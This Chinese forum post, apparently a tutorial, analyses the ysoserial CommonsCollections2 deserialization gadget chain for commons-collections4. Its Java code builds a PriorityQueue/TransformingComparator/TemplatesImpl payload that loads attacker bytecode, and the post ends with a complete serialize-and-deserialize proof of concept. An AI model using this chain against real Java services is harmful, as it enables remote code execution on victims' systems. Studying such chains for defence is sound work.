[JAVA] Java安全 ysoserial CommonsCollections2示例分析

1863 0
王子 2022-11-6 11:53:50 | 显示全部楼层 |阅读模式
目录

    正文cc2 commons-collections4版本利用链InvokerTransformer.transform()利用InvokerTransformer.transform()的调用TransformingComparator.compare()的调用queue属性赋值最终完整利用实现


正文

在最后一步的实现上,cc2和cc3一样,最终都是通过TemplatesImpl恶意字节码文件动态加载方式实现反序列化。
已知的TemplatesImpl->newTransformer()是最终要执行的。
TemplatesImpl类动态加载方式的实现分析见ysoserial CommonsCollections3 分析中的一、二部分。
TemplatesImpl->newTransformer()的调用通过InvokerTransformer.transform()反射机制实现,这里可以看ysoserial CommonsCollections1 分析中的前半部分内容。

cc2 commons-collections4版本利用链

cc2是针对commons-collections4版本,利用链如下:
  1. /*
  2.         Gadget chain:
  3.                 ObjectInputStream.readObject()
  4.                         PriorityQueue.readObject()
  5.                                 ...
  6.                                         TransformingComparator.compare()
  7.                                                 InvokerTransformer.transform()
  8.                                                         Method.invoke()
  9.                                                                 Runtime.exec()
  10. */
复制代码
InvokerTransformer.transform()利用

所以在InvokerTransformer.transform()之后的利用如下:
  1. public class CC2Test2 {
  2.     public static void main(String[] args) throws Exception {
  3.         TemplatesImpl templates = new TemplatesImpl();
  4.         Class templates_cl= Class.forName("com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl");
  5.         Field name = templates_cl.getDeclaredField("_name");
  6.         name.setAccessible(true);
  7.         name.set(templates,"xxx");
  8.         Field transletIndex = templates_cl.getDeclaredField("_transletIndex");
  9.         transletIndex.setAccessible(true);
  10.         transletIndex.set(templates,0);
  11.         byte[] code = Files.readAllBytes(Paths.get("D:\\workspace\\javaee\\cc1\\target\\classes\\com\\Runtimecalc.class"));
  12.         byte[][] codes = [code];
  13.         //给_bytecodes赋值
  14.         Field bytecodes = templates_cl.getDeclaredField("_bytecodes");
  15.         bytecodes.setAccessible(true);
  16.         bytecodes.set(templates,codes);
  17.         //要顺利执行,_tfactory得赋值,因为defineTransletClasses中调用了_tfactory的getExternalExtensionsMap
  18.         //_tfactorys是TransformerFactoryImpl类型的
  19.         TransformerFactoryImpl transformerFactory = new TransformerFactoryImpl();
  20.         Field tfactory = templates_cl.getDeclaredField("_tfactory");
  21.         tfactory.setAccessible(true);
  22.         tfactory.set(templates,transformerFactory);
  23.         InvokerTransformer transformer = new InvokerTransformer("newTransformer", null, null);
  24.         transformer.transform(templates);
  25.     }
  26. }
复制代码
InvokerTransformer.transform()的调用

TransformingComparator的compare,实现了对属性this.transformer的transform调用,这里可以通过TransformingComparator构造方法为该属性赋值。
  1. public class TransformingComparator<I, O> implements Comparator<I>, Serializable {
  2.     private static final long serialVersionUID = 3456940356043606220L;
  3.     private final Comparator<O> decorated;
  4.     private final Transformer<? super I, ? extends O> transformer;
  5.     public TransformingComparator(Transformer<? super I, ? extends O> transformer) {
  6.         this(transformer, ComparatorUtils.NATURAL_COMPARATOR);
  7.     }
  8.     public TransformingComparator(Transformer<? super I, ? extends O> transformer, Comparator<O> decorated) {
  9.         this.decorated = decorated;
  10.         this.transformer = transformer;
  11.     }
  12.     public int compare(I obj1, I obj2) {
  13.         O value1 = this.transformer.transform(obj1);
  14.         O value2 = this.transformer.transform(obj2);
  15.         return this.decorated.compare(value1, value2);
  16.     }
  17. }
复制代码
通过compare的调用
  1. InvokerTransformer transformer = new InvokerTransformer("newTransformer", null, null);
  2. TransformingComparator transformingComparator = new TransformingComparator(transformer);
  3. transformingComparator.compare(null,templates);
复制代码
TransformingComparator.compare()的调用

PriorityQueue类中的readobject()调用了heapify(),heapify()中调用了siftDown(),siftDown()调用了siftDownUsingComparator(),siftDownUsingComparator()方法实现了comparator.compare()调用。
那么只要将transformingComparator对象赋值给comparator,可以通过反射,也可以通过构造方法,这里通过构造方法,且initialCapacity不能小于1。
  1. public PriorityQueue(int initialCapacity,
  2.                      Comparator<? super E> comparator) {
  3.     // Note: This restriction of at least one is not actually needed,
  4.     // but continues for 1.5 compatibility
  5.     if (initialCapacity < 1)
  6.         throw new IllegalArgumentException();
  7.     this.queue = new Object[initialCapacity];
  8.     this.comparator = comparator;
  9. }
复制代码
由于comparator.compare()中的参数来自queue,所以需要将templates赋值给queue。
  1. InvokerTransformer transformer = new InvokerTransformer("newTransformer", null, null);
  2. PriorityQueue<Object> priorityQueue = new PriorityQueue<Object>(2, transformingComparator);
  3. priorityQueue.add(1);
  4. priorityQueue.add(templates);
复制代码
但是由于在priorityQueue.add()方法中会调用siftUp()->siftUpUsingComparator()->comparator.compare()。
priorityQueue.add()中带入的参数对象如果不存在newTransformer方法将报错,另外使用templates作为参数,又会导致在序列化过程构造恶意对象的时候得到执行。所以这里先用toString()方法代替,后通过反射方式修改this.iMethodName属性。
  1. TransformingComparator transformingComparator = new TransformingComparator(transformer);
  2. PriorityQueue<Object> priorityQueue = new PriorityQueue<Object>(2, transformingComparator);
  3. priorityQueue.add(1);
  4. priorityQueue.add(2);
  5. Field iMethodName = transformer.getClass().getDeclaredField("iMethodName");
  6. iMethodName.setAccessible(true);
  7. iMethodName.set(transformer,"newTransformer");
复制代码
queue属性赋值

transient queue无法序列化,但在PriorityQueue的writeobject()、readobject中对queue做了重写,实现序列化和反序列化。
  1. private void writeObject(java.io.ObjectOutputStream s)
  2.         throws java.io.IOException {
  3.             //略
  4.         for (int i = 0; i < size; i++)
  5.             s.writeObject(queue[i]);
  6.     }
复制代码
  1. private void readObject(java.io.ObjectInputStream s)
  2.     throws java.io.IOException, ClassNotFoundException {
  3.         //略
  4.     for (int i = 0; i < size; i++)
  5.         queue[i] = s.readObject();
  6.     heapify();
  7. }
复制代码
通过反射修改queues[0],利用如下:
  1. TransformingComparator transformingComparator = new TransformingComparator(transformer);
  2. PriorityQueue<Object> priorityQueue = new PriorityQueue<Object>(2, transformingComparator);
  3. priorityQueue.add(1);
  4. priorityQueue.add(2);
  5. Field iMethodName = transformer.getClass().getDeclaredField("iMethodName");
  6. iMethodName.setAccessible(true);
  7. iMethodName.set(transformer,"newTransformer");
  8. Field queue = priorityQueue.getClass().getDeclaredField("queue");
  9. queue.setAccessible(true);
  10. Object[] queues = (Object[]) queue.get(priorityQueue);
  11. queues[0] = templates;
  12. //这里得替换queues[0]
  13. //如果queues[0]依旧保留使用Integer,会因为无法找到newTransformer报错。
复制代码
最终完整利用实现
  1. public class CC2Test2 {
  2.     public static void main(String[] args) throws Exception {
  3.         TemplatesImpl templates = new TemplatesImpl();
  4.         Class templates_cl= Class.forName("com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl");
  5.         Field name = templates_cl.getDeclaredField("_name");
  6.         name.setAccessible(true);
  7.         name.set(templates,"xxx");
  8.         Field transletIndex = templates_cl.getDeclaredField("_transletIndex");
  9.         transletIndex.setAccessible(true);
  10.         transletIndex.set(templates,0);
  11.         byte[] code = Files.readAllBytes(Paths.get("D:\\workspace\\javaee\\cc1\\target\\classes\\com\\Runtimecalc.class"));
  12.         byte[][] codes = [code];
  13.         //给_bytecodes赋值
  14.         Field bytecodes = templates_cl.getDeclaredField("_bytecodes");
  15.         bytecodes.setAccessible(true);
  16.         bytecodes.set(templates,codes);
  17.         //要顺利执行,_tfactory得赋值,因为defineTransletClasses中调用了_tfactory的getExternalExtensionsMap
  18.         //_tfactorys是TransformerFactoryImpl类型的
  19.         TransformerFactoryImpl transformerFactory = new TransformerFactoryImpl();
  20.         Field tfactory = templates_cl.getDeclaredField("_tfactory");
  21.         tfactory.setAccessible(true);
  22.         tfactory.set(templates,transformerFactory);
  23.         InvokerTransformer transformer = new InvokerTransformer("toString", null, null);
  24.         TransformingComparator transformingComparator = new TransformingComparator(transformer);
  25.         PriorityQueue<Object> priorityQueue = new PriorityQueue<Object>(2, transformingComparator);
  26.         priorityQueue.add(1);
  27.         priorityQueue.add(2);
  28.         Field iMethodName = transformer.getClass().getDeclaredField("iMethodName");
  29.         iMethodName.setAccessible(true);
  30.         iMethodName.set(transformer,"newTransformer");
  31.         Field queue = priorityQueue.getClass().getDeclaredField("queue");
  32.         queue.setAccessible(true);
  33.         Object[] queues = (Object[]) queue.get(priorityQueue);
  34.         queues[0] = templates;
  35.         ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream("D:\\cc2.ser"));
  36.         objectOutputStream.writeObject(priorityQueue);
  37.         ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream("D:\\cc2.ser"));
  38.         objectInputStream.readObject();
  39.     }
  40. }
复制代码


以上就是Java安全 ysoserial CommonsCollections2示例分析的详细内容,更多关于Java ysoserial CommonsCollections的资料请关注中国红客联盟其它相关文章!
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

中国红客联盟公众号

联系站长QQ:5520533

admin@chnhonker.com
Copyright © 2001-2025 Discuz Team. Powered by Discuz! X3.5 ( 粤ICP备13060014号 )|天天打卡 本站已运行